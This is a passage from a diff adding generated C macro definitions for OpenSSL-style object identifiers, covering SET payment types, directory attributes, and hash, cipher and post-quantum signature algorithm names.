NID_setct_AuthRevResData 542 +#define SN_setct_AuthRevResData "setct-AuthRevResData" +#define NID_setct_AuthRevReqTBS 541 +#define SN_setct_AuthRevReqTBS "setct-AuthRevReqTBS" +#define NID_setct_AcqCardCodeMsg 540 +#define SN_setct_AcqCardCodeMsg "setct-AcqCardCodeMsg" +#define NID_setct_CapTokenTBS 539 +#define SN_setct_CapTokenTBS "setct-CapTokenTBS" +#define NID_setct_CapTokenData 538 +#define SN_setct_CapTokenData "setct-CapTokenData" +#define NID_setct_AuthTokenTBS 537 +#define SN_setct_AuthTokenTBS "setct-AuthTokenTBS" +#define NID_setct_AuthResTBSX 536 +#define SN_setct_AuthResTBSX "setct-AuthResTBSX" +#define NID_setct_AuthResTBS 535 +#define SN_setct_AuthResTBS "setct-AuthResTBS" +#define NID_setct_AuthReqTBS 534 +#define SN_setct_AuthReqTBS "setct-AuthReqTBS" +#define NID_setct_PResData 533 +#define SN_setct_PResData "setct-PResData" +#define NID_setct_PI_TBS 532 +#define SN_setct_PI_TBS "setct-PI-TBS" +#define NID_setct_PInitResData 531 +#define SN_setct_PInitResData "setct-PInitResData" +#define NID_setct_CapTokenSeq 530 +#define SN_setct_CapTokenSeq "setct-CapTokenSeq" +#define NID_setct_AuthRevResBaggage 529 +#define SN_setct_AuthRevResBaggage "setct-AuthRevResBaggage" +#define NID_setct_AuthRevReqBaggage 528 +#define SN_setct_AuthRevReqBaggage "setct-AuthRevReqBaggage" +#define NID_setct_AuthResBaggage 527 +#define SN_setct_AuthResBaggage "setct-AuthResBaggage" +#define NID_setct_HODInput 526 +#define SN_setct_HODInput "setct-HODInput" +#define NID_setct_PIDataUnsigned 525 +#define SN_setct_PIDataUnsigned "setct-PIDataUnsigned" +#define NID_setct_PIData 524 +#define SN_setct_PIData "setct-PIData" +#define NID_setct_PI 523 +#define SN_setct_PI "setct-PI" +#define NID_setct_OIData 522 +#define SN_setct_OIData "setct-OIData" +#define NID_setct_PANOnly 521 +#define SN_setct_PANOnly "setct-PANOnly" +#define NID_setct_PANToken 520 +#define SN_setct_PANToken "setct-PANToken" +#define NID_setct_PANData 519 +#define SN_setct_PANData "setct-PANData" +#define NID_set_brand 518 +#define SN_set_brand "set-brand" +#define NID_set_certExt 517 +#define LN_set_certExt "certificate extensions" +#define SN_set_certExt "set-certExt" +#define NID_set_policy 516 +#define SN_set_policy "set-policy" +#define NID_set_attr 515 +#define SN_set_attr "set-attr" +#define NID_set_msgExt 514 +#define LN_set_msgExt "message extensions" +#define SN_set_msgExt "set-msgExt" +#define NID_set_ctype 513 +#define LN_set_ctype "content types" +#define SN_set_ctype "set-ctype" +#define NID_id_set 512 +#define LN_id_set "Secure Electronic Transactions" +#define SN_id_set "id-set" +#define NID_documentPublisher 502 +#define LN_documentPublisher "documentPublisher" +#define NID_audio 501 +#define SN_audio "audio" +#define NID_dITRedirect 500 +#define LN_dITRedirect "dITRedirect" +#define NID_personalSignature 499 +#define LN_personalSignature "personalSignature" +#define NID_subtreeMaximumQuality 498 +#define LN_subtreeMaximumQuality "subtreeMaximumQuality" +#define NID_subtreeMinimumQuality 497 +#define LN_subtreeMinimumQuality "subtreeMinimumQuality" +#define NID_singleLevelQuality 496 +#define LN_singleLevelQuality "singleLevelQuality" +#define NID_dSAQuality 495 +#define LN_dSAQuality "dSAQuality" +#define NID_buildingName 494 +#define LN_buildingName "buildingName" +#define NID_mailPreferenceOption 493 +#define LN_mailPreferenceOption "mailPreferenceOption" +#define NID_janetMailbox 492 +#define LN_janetMailbox "janetMailbox" +#define NID_organizationalStatus 491 +#define LN_organizationalStatus "organizationalStatus" +#define NID_uniqueIdentifier 102 +#define LN_uniqueIdentifier "uniqueIdentifier" +#define SN_uniqueIdentifier "uid" +#define NID_friendlyCountryName 490 +#define LN_friendlyCountryName "friendlyCountryName" +#define NID_pagerTelephoneNumber 489 +#define LN_pagerTelephoneNumber "pagerTelephoneNumber" +#define NID_mobileTelephoneNumber 488 +#define LN_mobileTelephoneNumber "mobileTelephoneNumber" +#define NID_personalTitle 487 +#define LN_personalTitle "personalTitle" +#define NID_homePostalAddress 486 +#define LN_homePostalAddress "homePostalAddress" +#define NID_associatedName 485 +#define LN_associatedName "associatedName" +#define NID_associatedDomain 484 +#define LN_associatedDomain "associatedDomain" +#define NID_cNAMERecord 483 +#define LN_cNAMERecord "cNAMERecord" +#define NID_sOARecord 482 +#define LN_sOARecord "sOARecord" +#define NID_nSRecord 481 +#define LN_nSRecord "nSRecord" +#define NID_mXRecord 480 +#define LN_mXRecord "mXRecord" +#define NID_pilotAttributeType27 479 +#define LN_pilotAttributeType27 "pilotAttributeType27" +#define NID_aRecord 478 +#define LN_aRecord "aRecord" +#define NID_domainComponent 391 +#define LN_domainComponent "domainComponent" +#define SN_domainComponent "DC" +#define NID_lastModifiedBy 477 +#define LN_lastModifiedBy "lastModifiedBy" +#define NID_lastModifiedTime 476 +#define LN_lastModifiedTime "lastModifiedTime" +#define NID_otherMailbox 475 +#define LN_otherMailbox "otherMailbox" +#define NID_secretary 474 +#define SN_secretary "secretary" +#define NID_homeTelephoneNumber 473 +#define LN_homeTelephoneNumber "homeTelephoneNumber" +#define NID_documentLocation 472 +#define LN_documentLocation "documentLocation" +#define NID_documentAuthor 471 +#define LN_documentAuthor "documentAuthor" +#define NID_documentVersion 470 +#define LN_documentVersion "documentVersion" +#define NID_documentTitle 469 +#define LN_documentTitle "documentTitle" +#define NID_documentIdentifier 468 +#define LN_documentIdentifier "documentIdentifier" +#define NID_manager 467 +#define SN_manager "manager" +#define NID_host 466 +#define SN_host "host" +#define NID_userClass 465 +#define LN_userClass "userClass" +#define NID_photo 464 +#define SN_photo "photo" +#define NID_roomNumber 463 +#define LN_roomNumber "roomNumber" +#define NID_favouriteDrink 462 +#define LN_favouriteDrink "favouriteDrink" +#define NID_info 461 +#define SN_info "info" +#define NID_rfc822Mailbox 460 +#define LN_rfc822Mailbox "rfc822Mailbox" +#define SN_rfc822Mailbox "mail" +#define NID_textEncodedORAddress 459 +#define LN_textEncodedORAddress "textEncodedORAddress" +#define NID_userId 458 +#define LN_userId "userId" +#define SN_userId "UID" +#define NID_qualityLabelledData 457 +#define LN_qualityLabelledData "qualityLabelledData" +#define NID_pilotDSA 456 +#define LN_pilotDSA "pilotDSA" +#define NID_pilotOrganization 455 +#define LN_pilotOrganization "pilotOrganization" +#define NID_simpleSecurityObject 454 +#define LN_simpleSecurityObject "simpleSecurityObject" +#define NID_friendlyCountry 453 +#define LN_friendlyCountry "friendlyCountry" +#define NID_domainRelatedObject 452 +#define LN_domainRelatedObject "domainRelatedObject" +#define NID_dNSDomain 451 +#define LN_dNSDomain "dNSDomain" +#define NID_rFC822localPart 450 +#define LN_rFC822localPart "rFC822localPart" +#define NID_Domain 392 +#define LN_Domain "Domain" +#define SN_Domain "domain" +#define NID_documentSeries 449 +#define LN_documentSeries "documentSeries" +#define NID_room 448 +#define SN_room "room" +#define NID_document 447 +#define SN_document "document" +#define NID_account 446 +#define SN_account "account" +#define NID_pilotPerson 445 +#define LN_pilotPerson "pilotPerson" +#define NID_pilotObject 444 +#define LN_pilotObject "pilotObject" +#define NID_caseIgnoreIA5StringSyntax 443 +#define LN_caseIgnoreIA5StringSyntax "caseIgnoreIA5StringSyntax" +#define NID_iA5StringSyntax 442 +#define LN_iA5StringSyntax "iA5StringSyntax" +#define NID_pilotGroups 441 +#define LN_pilotGroups "pilotGroups" +#define NID_pilotObjectClass 440 +#define LN_pilotObjectClass "pilotObjectClass" +#define NID_pilotAttributeSyntax 439 +#define LN_pilotAttributeSyntax "pilotAttributeSyntax" +#define NID_pilotAttributeType 438 +#define LN_pilotAttributeType "pilotAttributeType" +#define NID_pilot 437 +#define SN_pilot "pilot" +#define NID_ucl 436 +#define SN_ucl "ucl" +#define NID_pss 435 +#define SN_pss "pss" +#define NID_data 434 +#define SN_data "data" +#define NID_signedAssertion 1279 +#define SN_signedAssertion "signedAssertion" +#define NID_id_aa_ATSHashIndex_v3 1278 +#define SN_id_aa_ATSHashIndex_v3 "id-aa-ATSHashIndex-v3" +#define NID_id_aa_ATSHashIndex_v2 1277 +#define SN_id_aa_ATSHashIndex_v2 "id-aa-ATSHashIndex-v2" +#define NID_id_aa_ets_sigPolicyStore 1276 +#define SN_id_aa_ets_sigPolicyStore "id-aa-ets-sigPolicyStore" +#define NID_id_aa_ets_signerAttrV2 1275 +#define SN_id_aa_ets_signerAttrV2 "id-aa-ets-signerAttrV2" +#define NID_cades_attributes 1274 +#define SN_cades_attributes "cades-attributes" +#define NID_cades 1273 +#define SN_cades "cades" +#define NID_id_aa_ATSHashIndex 1272 +#define SN_id_aa_ATSHashIndex "id-aa-ATSHashIndex" +#define NID_id_aa_ets_archiveTimestampV3 1271 +#define SN_id_aa_ets_archiveTimestampV3 "id-aa-ets-archiveTimestampV3" +#define NID_id_aa_ets_SignaturePolicyDocument 1270 +#define SN_id_aa_ets_SignaturePolicyDocument "id-aa-ets-SignaturePolicyDocument" +#define NID_id_aa_ets_longTermValidation 1269 +#define SN_id_aa_ets_longTermValidation "id-aa-ets-longTermValidation" +#define NID_id_aa_ets_mimeType 1268 +#define SN_id_aa_ets_mimeType "id-aa-ets-mimeType" +#define NID_ess_attributes 1267 +#define SN_ess_attributes "ess-attributes" +#define NID_electronic_signature_standard 1266 +#define SN_electronic_signature_standard "electronic-signature-standard" +#define NID_etsi 1265 +#define SN_etsi "etsi" +#define NID_itu_t_identified_organization 1264 +#define SN_itu_t_identified_organization "itu-t-identified-organization" +#define NID_hold_instruction_reject 433 +#define LN_hold_instruction_reject "Hold Instruction Reject" +#define SN_hold_instruction_reject "holdInstructionReject" +#define NID_hold_instruction_call_issuer 432 +#define LN_hold_instruction_call_issuer "Hold Instruction Call Issuer" +#define SN_hold_instruction_call_issuer "holdInstructionCallIssuer" +#define NID_hold_instruction_none 431 +#define LN_hold_instruction_none "Hold Instruction None" +#define SN_hold_instruction_none "holdInstructionNone" +#define LN_hold_instruction_code "Hold Instruction Code" +#define SN_hold_instruction_code "holdInstructionCode" +#define NID_SLH_DSA_SHAKE_256f_WITH_SHAKE256 1486 +#define LN_SLH_DSA_SHAKE_256f_WITH_SHAKE256 "SLH-DSA-SHAKE-256f-WITH-SHAKE256" +#define SN_SLH_DSA_SHAKE_256f_WITH_SHAKE256 "id-hash-slh-dsa-shake-256f-with-shake256" +#define NID_SLH_DSA_SHAKE_256s_WITH_SHAKE256 1485 +#define LN_SLH_DSA_SHAKE_256s_WITH_SHAKE256 "SLH-DSA-SHAKE-256s-WITH-SHAKE256" +#define SN_SLH_DSA_SHAKE_256s_WITH_SHAKE256 "id-hash-slh-dsa-shake-256s-with-shake256" +#define NID_SLH_DSA_SHAKE_192f_WITH_SHAKE256 1484 +#define LN_SLH_DSA_SHAKE_192f_WITH_SHAKE256 "SLH-DSA-SHAKE-192f-WITH-SHAKE256" +#define SN_SLH_DSA_SHAKE_192f_WITH_SHAKE256 "id-hash-slh-dsa-shake-192f-with-shake256" +#define NID_SLH_DSA_SHAKE_192s_WITH_SHAKE256 1483 +#define LN_SLH_DSA_SHAKE_192s_WITH_SHAKE256 "SLH-DSA-SHAKE-192s-WITH-SHAKE256" +#define SN_SLH_DSA_SHAKE_192s_WITH_SHAKE256 "id-hash-slh-dsa-shake-192s-with-shake256" +#define NID_SLH_DSA_SHAKE_128f_WITH_SHAKE128 1482 +#define LN_SLH_DSA_SHAKE_128f_WITH_SHAKE128 "SLH-DSA-SHAKE-128f-WITH-SHAKE128" +#define SN_SLH_DSA_SHAKE_128f_WITH_SHAKE128 "id-hash-slh-dsa-shake-128f-with-shake128" +#define NID_SLH_DSA_SHAKE_128s_WITH_SHAKE128 1481 +#define LN_SLH_DSA_SHAKE_128s_WITH_SHAKE128 "SLH-DSA-SHAKE-128s-WITH-SHAKE128" +#define SN_SLH_DSA_SHAKE_128s_WITH_SHAKE128 "id-hash-slh-dsa-shake-128s-with-shake128" +#define NID_SLH_DSA_SHA2_256f_WITH_SHA512 1480 +#define LN_SLH_DSA_SHA2_256f_WITH_SHA512 "SLH-DSA-SHA2-256f-WITH-SHA512" +#define SN_SLH_DSA_SHA2_256f_WITH_SHA512 "id-hash-slh-dsa-sha2-256f-with-sha512" +#define NID_SLH_DSA_SHA2_256s_WITH_SHA512 1479 +#define LN_SLH_DSA_SHA2_256s_WITH_SHA512 "SLH-DSA-SHA2-256s-WITH-SHA512" +#define SN_SLH_DSA_SHA2_256s_WITH_SHA512 "id-hash-slh-dsa-sha2-256s-with-sha512" +#define NID_SLH_DSA_SHA2_192f_WITH_SHA512 1478 +#define LN_SLH_DSA_SHA2_192f_WITH_SHA512 "SLH-DSA-SHA2-192f-WITH-SHA512" +#define SN_SLH_DSA_SHA2_192f_WITH_SHA512 "id-hash-slh-dsa-sha2-192f-with-sha512" +#define NID_SLH_DSA_SHA2_192s_WITH_SHA512 1477 +#define LN_SLH_DSA_SHA2_192s_WITH_SHA512 "SLH-DSA-SHA2-192s-WITH-SHA512" +#define SN_SLH_DSA_SHA2_192s_WITH_SHA512 "id-hash-slh-dsa-sha2-192s-with-sha512" +#define NID_SLH_DSA_SHA2_128f_WITH_SHA256 1476 +#define LN_SLH_DSA_SHA2_128f_WITH_SHA256 "SLH-DSA-SHA2-128f-WITH-SHA256" +#define SN_SLH_DSA_SHA2_128f_WITH_SHA256 "id-hash-slh-dsa-sha2-128f-with-sha256" +#define NID_SLH_DSA_SHA2_128s_WITH_SHA256 1475 +#define LN_SLH_DSA_SHA2_128s_WITH_SHA256 "SLH-DSA-SHA2-128s-WITH-SHA256" +#define SN_SLH_DSA_SHA2_128s_WITH_SHA256 "id-hash-slh-dsa-sha2-128s-with-sha256" +#define NID_HASH_ML_DSA_87_WITH_SHA512 1474 +#define LN_HASH_ML_DSA_87_WITH_SHA512 "HASH-ML-DSA-87-WITH-SHA512" +#define SN_HASH_ML_DSA_87_WITH_SHA512 "id-hash-ml-dsa-87-with-sha512" +#define NID_HASH_ML_DSA_65_WITH_SHA512 1473 +#define LN_HASH_ML_DSA_65_WITH_SHA512 "HASH-ML-DSA-65-WITH-SHA512" +#define SN_HASH_ML_DSA_65_WITH_SHA512 "id-hash-ml-dsa-65-with-sha512" +#define NID_HASH_ML_DSA_44_WITH_SHA512 1472 +#define LN_HASH_ML_DSA_44_WITH_SHA512 "HASH-ML-DSA-44-WITH-SHA512" +#define SN_HASH_ML_DSA_44_WITH_SHA512 "id-hash-ml-dsa-44-with-sha512" +#define NID_SLH_DSA_SHAKE_256f 1471 +#define LN_SLH_DSA_SHAKE_256f "SLH-DSA-SHAKE-256f" +#define SN_SLH_DSA_SHAKE_256f "id-slh-dsa-shake-256f" +#define NID_SLH_DSA_SHAKE_256s 1470 +#define LN_SLH_DSA_SHAKE_256s "SLH-DSA-SHAKE-256s" +#define SN_SLH_DSA_SHAKE_256s "id-slh-dsa-shake-256s" +#define NID_SLH_DSA_SHAKE_192f 1469 +#define LN_SLH_DSA_SHAKE_192f "SLH-DSA-SHAKE-192f" +#define SN_SLH_DSA_SHAKE_192f "id-slh-dsa-shake-192f" +#define NID_SLH_DSA_SHAKE_192s 1468 +#define LN_SLH_DSA_SHAKE_192s "SLH-DSA-SHAKE-192s" +#define SN_SLH_DSA_SHAKE_192s "id-slh-dsa-shake-192s" +#define NID_SLH_DSA_SHAKE_128f 1467 +#define LN_SLH_DSA_SHAKE_128f "SLH-DSA-SHAKE-128f" +#define SN_SLH_DSA_SHAKE_128f "id-slh-dsa-shake-128f" +#define NID_SLH_DSA_SHAKE_128s 1466 +#define LN_SLH_DSA_SHAKE_128s "SLH-DSA-SHAKE-128s" +#define SN_SLH_DSA_SHAKE_128s "id-slh-dsa-shake-128s" +#define NID_SLH_DSA_SHA2_256f 1465 +#define LN_SLH_DSA_SHA2_256f "SLH-DSA-SHA2-256f" +#define SN_SLH_DSA_SHA2_256f "id-slh-dsa-sha2-256f" +#define NID_SLH_DSA_SHA2_256s 1464 +#define LN_SLH_DSA_SHA2_256s "SLH-DSA-SHA2-256s" +#define SN_SLH_DSA_SHA2_256s "id-slh-dsa-sha2-256s" +#define NID_SLH_DSA_SHA2_192f 1463 +#define LN_SLH_DSA_SHA2_192f "SLH-DSA-SHA2-192f" +#define SN_SLH_DSA_SHA2_192f "id-slh-dsa-sha2-192f" +#define NID_SLH_DSA_SHA2_192s 1462 +#define LN_SLH_DSA_SHA2_192s "SLH-DSA-SHA2-192s" +#define SN_SLH_DSA_SHA2_192s "id-slh-dsa-sha2-192s" +#define NID_SLH_DSA_SHA2_128f 1461 +#define LN_SLH_DSA_SHA2_128f "SLH-DSA-SHA2-128f" +#define SN_SLH_DSA_SHA2_128f "id-slh-dsa-sha2-128f" +#define NID_SLH_DSA_SHA2_128s 1460 +#define LN_SLH_DSA_SHA2_128s "SLH-DSA-SHA2-128s" +#define SN_SLH_DSA_SHA2_128s "id-slh-dsa-sha2-128s" +#define NID_ML_DSA_87 1459 +#define LN_ML_DSA_87 "ML-DSA-87" +#define SN_ML_DSA_87 "id-ml-dsa-87" +#define NID_ML_DSA_65 1458 +#define LN_ML_DSA_65 "ML-DSA-65" +#define SN_ML_DSA_65 "id-ml-dsa-65" +#define NID_ML_DSA_44 1457 +#define LN_ML_DSA_44 "ML-DSA-44" +#define SN_ML_DSA_44 "id-ml-dsa-44" +#define NID_RSA_SHA3_512 1119 +#define LN_RSA_SHA3_512 "RSA-SHA3-512" +#define SN_RSA_SHA3_512 "id-rsassa-pkcs1-v1_5-with-sha3-512" +#define NID_RSA_SHA3_384 1118 +#define LN_RSA_SHA3_384 "RSA-SHA3-384" +#define SN_RSA_SHA3_384 "id-rsassa-pkcs1-v1_5-with-sha3-384" +#define NID_RSA_SHA3_256 1117 +#define LN_RSA_SHA3_256 "RSA-SHA3-256" +#define SN_RSA_SHA3_256 "id-rsassa-pkcs1-v1_5-with-sha3-256" +#define NID_RSA_SHA3_224 1116 +#define LN_RSA_SHA3_224 "RSA-SHA3-224" +#define SN_RSA_SHA3_224 "id-rsassa-pkcs1-v1_5-with-sha3-224" +#define NID_ecdsa_with_SHA3_512 1115 +#define LN_ecdsa_with_SHA3_512 "ecdsa_with_SHA3-512" +#define SN_ecdsa_with_SHA3_512 "id-ecdsa-with-sha3-512" +#define NID_ecdsa_with_SHA3_384 1114 +#define LN_ecdsa_with_SHA3_384 "ecdsa_with_SHA3-384" +#define SN_ecdsa_with_SHA3_384 "id-ecdsa-with-sha3-384" +#define NID_ecdsa_with_SHA3_256 1113 +#define LN_ecdsa_with_SHA3_256 "ecdsa_with_SHA3-256" +#define SN_ecdsa_with_SHA3_256 "id-ecdsa-with-sha3-256" +#define NID_ecdsa_with_SHA3_224 1112 +#define LN_ecdsa_with_SHA3_224 "ecdsa_with_SHA3-224" +#define SN_ecdsa_with_SHA3_224 "id-ecdsa-with-sha3-224" +#define NID_dsa_with_SHA3_512 1111 +#define LN_dsa_with_SHA3_512 "dsa_with_SHA3-512" +#define SN_dsa_with_SHA3_512 "id-dsa-with-sha3-512" +#define NID_dsa_with_SHA3_384 1110 +#define LN_dsa_with_SHA3_384 "dsa_with_SHA3-384" +#define SN_dsa_with_SHA3_384 "id-dsa-with-sha3-384" +#define NID_dsa_with_SHA3_256 1109 +#define LN_dsa_with_SHA3_256 "dsa_with_SHA3-256" +#define SN_dsa_with_SHA3_256 "id-dsa-with-sha3-256" +#define NID_dsa_with_SHA3_224 1108 +#define LN_dsa_with_SHA3_224 "dsa_with_SHA3-224" +#define SN_dsa_with_SHA3_224 "id-dsa-with-sha3-224" +#define NID_dsa_with_SHA512 1107 +#define LN_dsa_with_SHA512 "dsa_with_SHA512" +#define SN_dsa_with_SHA512 "id-dsa-with-sha512" +#define NID_dsa_with_SHA384 1106 +#define LN_dsa_with_SHA384 "dsa_with_SHA384" +#define SN_dsa_with_SHA384 "id-dsa-with-sha384" +#define NID_dsa_with_SHA256 803 +#define SN_dsa_with_SHA256 "dsa_with_SHA256" +#define NID_dsa_with_SHA224 802 +#define SN_dsa_with_SHA224 "dsa_with_SHA224" +#define NID_kmac256 1197 +#define LN_kmac256 "kmac256" +#define SN_kmac256 "KMAC256" +#define NID_kmac128 1196 +#define LN_kmac128 "kmac128" +#define SN_kmac128 "KMAC128" +#define NID_hmac_sha3_512 1105 +#define LN_hmac_sha3_512 "hmac-sha3-512" +#define SN_hmac_sha3_512 "id-hmacWithSHA3-512" +#define NID_hmac_sha3_384 1104 +#define LN_hmac_sha3_384 "hmac-sha3-384" +#define SN_hmac_sha3_384 "id-hmacWithSHA3-384" +#define NID_hmac_sha3_256 1103 +#define LN_hmac_sha3_256 "hmac-sha3-256" +#define SN_hmac_sha3_256 "id-hmacWithSHA3-256" +#define NID_hmac_sha3_224 1102 +#define LN_hmac_sha3_224 "hmac-sha3-224" +#define SN_hmac_sha3_224 "id-hmacWithSHA3-224" +#define NID_shake256 1101 +#define LN_shake256 "shake256" +#define SN_shake256 "SHAKE256" +#define NID_shake128 1100 +#define LN_shake128 "shake128" +#define SN_shake128 "SHAKE128" +#define NID_sha3_512 1099 +#define LN_sha3_512 "sha3-512" +#define SN_sha3_512 "SHA3-512" +#define NID_sha3_384 1098 +#define LN_sha3_384 "sha3-384" +#define SN_sha3_384 "SHA3-384" +#define NID_sha3_256 1097 +#define LN_sha3_256 "sha3-256" +#define SN_sha3_256 "SHA3-256" +#define NID_sha3_224 1096 +#define LN_sha3_224 "sha3-224" +#define SN_sha3_224 "SHA3-224" +#define NID_sha512_256 1095 +#define LN_sha512_256 "sha512-256" +#define SN_sha512_256 "SHA512-256" +#define NID_sha512_224 1094 +#define LN_sha512_224 "sha512-224" +#define SN_sha512_224 "SHA512-224" +#define NID_sha224 675 +#define LN_sha224 "sha224" +#define SN_sha224 "SHA224" +#define NID_sha512 674 +#define LN_sha512 "sha512" +#define SN_sha512 "SHA512" +#define NID_sha384 673 +#define LN_sha384 "sha384" +#define SN_sha384 "SHA384" +#define NID_sha256 672 +#define LN_sha256 "sha256" +#define NID_des_ede3_cfb8 659 +#define LN_des_ede3_cfb8 "des-ede3-cfb8" +#define SN_des_ede3_cfb8 "DES-EDE3-CFB8" +#define NID_des_ede3_cfb1 658 +#define LN_des_ede3_cfb1 "des-ede3-cfb1" +#define SN_des_ede3_cfb1 "DES-EDE3-CFB1" +#define NID_des_cfb8 657 +#define LN_des_cfb8 "des-cfb8" +#define SN_des_cfb8 "DES-CFB8" +#define NID_des_cfb1 656 +#define LN_des_cfb1 "des-cfb1" +#define SN_des_cfb1 "DES-CFB1" +#define NID_aes_256_ocb 960 +#define LN_aes_256_ocb "aes-256-ocb" +#define SN_aes_256_ocb "AES-256-OCB" +#define NID_aes_192_ocb 959 +#define LN_aes_192_ocb "aes-192-ocb" +#define SN_aes_192_ocb "AES-192-OCB" +#define NID_aes_128_ocb 958 +#define LN_aes_128_ocb "aes-128-ocb" +#define SN_aes_128_ocb "AES-128-OCB" +#define NID_aes_256_ctr 906 +#define LN_aes_256_ctr "aes-256-ctr" +#define SN_aes_256_ctr "AES-256-CTR" +#define NID_aes_192_ctr 905 +#define LN_aes_192_ctr "aes-192-ctr" +#define SN_aes_192_ctr "AES-192-CTR" +#define NID_aes_128_ctr 904 +#define LN_aes_128_ctr "aes-128-ctr" +#define SN_aes_128_ctr "AES-128-CTR" +#define NID_aes_256_cfb8 655 +#define LN_aes_256_cfb8 "aes-256-cfb8" +#define SN_aes_256_cfb8 "AES-256-CFB8" +#define NID_aes_192_cfb8 654 +#define LN_aes_192_cfb8 "aes-192-cfb8" +#define SN_aes_192_cfb8 "AES-192-CFB8" +#define NID_aes_128_cfb8 653 +#define LN_aes_128_cfb8 "aes-128-cfb8" +#define SN_aes_128_cfb8 "AES-128-CFB8" +#define NID_aes_256_cfb1 652 +#define LN_aes_256_cfb1 "aes-256-cfb1" +#define SN_aes_256_cfb1 "AES-256-CFB1" +#define NID_aes_192_cfb1 651 +#define LN_aes_192_cfb1 "aes-192-cfb1" +#define SN_aes_192_cfb1 "AES-192-CFB1" +#define NID_aes_128_cfb1 650 +#define LN_aes_128_cfb1 "aes-128-cfb1" +#define SN_aes_128_cfb1 "AES-128-CFB1" +#define NID_aes_256_xts 914 +#define LN_aes_256_xts "aes-256-xts" +#define SN_aes_256_xts "AES-256-XTS" +#define NID_aes_128_xts 913 +#define LN_aes_128_xts "aes-128-xts" +#define SN_aes_128_xts "AES-128-XTS" +#define NID_id_aes256_wrap_pad 903 +#define SN_id_aes256_wrap_pad "id-aes256-wrap-pad" +#define NID_aes_256_ccm 902 +#define LN_aes_256_ccm "aes-256-ccm" +#define SN_aes_256_ccm "id-aes256-CCM" +#define NID_aes_256_gcm 901 +#define LN_aes_256_gcm "aes-256-gcm" +#define SN_aes_256_gcm "id-aes256-GCM" +#define NID_id_aes256_wrap 790 +#define SN_id_aes256_wrap "id-aes256-wrap" +#define NID_aes_256_cfb128 429 +#define LN_aes_256_cfb128 "aes-256-cfb" +#define SN_aes_256_cfb128 "AES-256-CFB" +#define NID_aes_256_ofb128 428 +#define LN_aes_256_ofb128 "aes-256-ofb" +#define SN_aes_256_ofb128 "AES-256-OFB" +#define NID_aes_256_cbc 427 +#define LN_aes_256_cbc "aes-256-cbc" +#define NID_aes_256_ecb 426 +#define LN_aes_256_ecb "aes-256-ecb" +#define SN_aes_256_ecb "AES-256-ECB" +#define NID_id_aes192_wrap_pad 900 +#define SN_id_aes192_wrap_pad "id-aes192-wrap-pad" +#define NID_aes_192_ccm 899 +#define LN_aes_192_ccm "aes-192-ccm" +#define SN_aes_192_ccm "id-aes192-CCM" +#define NID_aes_192_gcm 898 +#define LN_aes_192_gcm "aes-192-gcm" +#define SN_aes_192_gcm "id-aes192-GCM" +#define NID_id_aes192_wrap 789 +#define SN_id_aes192_wrap "id-aes192-wrap" +#define NID_aes_192_cfb128 425 +#define LN_aes_192_cfb128 "aes-192-cfb" +#define SN_aes_192_cfb128 "AES-192-CFB" +#define NID_aes_192_ofb128 424 +#define LN_aes_192_ofb128 "aes-192-ofb" +#define SN_aes_192_ofb128 "AES-192-OFB" +#define NID_aes_192_cbc 423 +#define LN_aes_192_cbc "aes-192-cbc" +#define SN_aes_192_cbc "AES-192-CBC" +#define NID_aes_192_ecb 422 +#define LN_aes_192_ecb "aes-192-ecb" +#define SN_aes_192_ecb "AES-192-ECB" +#define NID_id_aes128_wrap_pad 897 +#define SN_id_aes128_wrap_pad "id-aes128-wrap-pad" +#define NID_aes_128_ccm 896 +#define LN_aes_128_ccm "aes-128-ccm" +#define SN_aes_128_ccm "id-aes128-CCM" +#define NID_aes_128_gcm 895 +#define LN_aes_128_gcm "aes-128-gcm" +#define SN_aes_128_gcm "id-aes128-GCM" +#define NID_id_aes128_wrap 788 +#define SN_id_aes128_wrap "id-aes128-wrap" +#define NID_aes_128_cfb128 421 +#define LN_aes_128_cfb128 "aes-128-cfb" +#define SN_aes_128_cfb128 "AES-128-CFB" +#define NID_aes_128_ofb128 420 +#define LN_aes_128_ofb128 "aes-128-ofb" +#define SN_aes_128_ofb128 "AES-128-OFB" +#define NID_aes_128_cbc 419 +#define LN_aes_128_cbc "aes-128-cbc" +#define SN_aes_128_cbc "AES-128-CBC" +#define NID_aes_128_ecb 418 +#define LN_aes_128_ecb "aes-128-ecb" +#define SN_aes_128_ecb "AES-128-ECB" +#define NID_zlib_compression 125 +#define LN_zlib_compression "zlib compression" +#define SN_zlib_compression "ZLIB" +#define NID_id_hex_multipart_message 508 +#define LN_id_hex_multipart_message "id-hex-multipart-message" +#define SN_id_hex_multipart_message "id-hex-multipart-message" +#define NID_id_hex_partial_message 507 +#define LN_id_hex_partial_message "id-hex-partial-message" +#define SN_id_hex_partial_message "id-hex-partial-message" +#define NID_mime_mhs_bodies 506 +#define LN_mime_mhs_bodies "mime-mhs-bodies" +#define SN_mime_mhs_bodies "mime-mhs-bodies" +#define NID_mime_mhs_headings 505 +#define LN_mime_mhs_headings "mime-mhs-headings" +#define SN_mime_mhs_headings "mime-mhs-headings" +#define NID_mime_mhs 504 +#define LN_mime_mhs "MIME MHS" +#define SN_mime_mhs "mime-mhs" +#define NID_id_kp_wisun_fan_device 1322 +#define LN_id_kp_wisun_fan_device "Wi-SUN Alliance Field Area Network (FAN)" +#define SN_id_kp_wisun_fan_device "id-kp-wisun-fan-device" +#define NID_dcObject 390 +#define LN_dcObject "dcObject" +#define SN_dcObject "dcobject" +#define NID_Enterprises 389 +#define LN_Enterprises "Enterprises" +#define SN_Enterprises "enterprises" +#define NID_Mail 388 +#define LN_Mail "Mail" +#define NID_SNMPv2 387 +#define LN_SNMPv2 "SNMPv2" +#define SN_SNMPv2 "snmpv2" +#define NID_Security 386 +#define LN_Security "Security" +#define SN_Security "security" +#define NID_Private 385 +#define LN_Private "Private" +#define SN_Private "private" +#define NID_Experimental 384 +#define LN_Experimental "Experimental" +#define SN_Experimental "experimental" +#define NID_Management 383 +#define LN_Management "Management" +#define SN_Management "mgmt" +#define NID_Directory 382 +#define LN_Directory "Directory" +#define SN_Directory "directory" +#define NID_iana 381 +#define LN_iana "iana" +#define SN_iana "IANA" +#define NID_dod 380 +#define LN_dod "dod" +#define SN_dod "DOD" +#define NID_org 379 +#define LN_org "org" +#define SN_org "ORG" +#define NID_ns_sgc 139 +#define LN_ns_sgc "Netscape Server Gated Crypto" +#define SN_ns_sgc "nsSGC" +#define NID_netscape_cert_sequence 79 +#define LN_netscape_cert_sequence "Netscape Certificate Sequence" +#define SN_netscape_cert_sequence "nsCertSequence" +#define NID_netscape_comment 78 +#define LN_netscape_comment "Netscape Comment" +#define SN_netscape_comment "nsComment" +#define NID_netscape_ssl_server_name 77 +#define LN_netscape_ssl_server_name 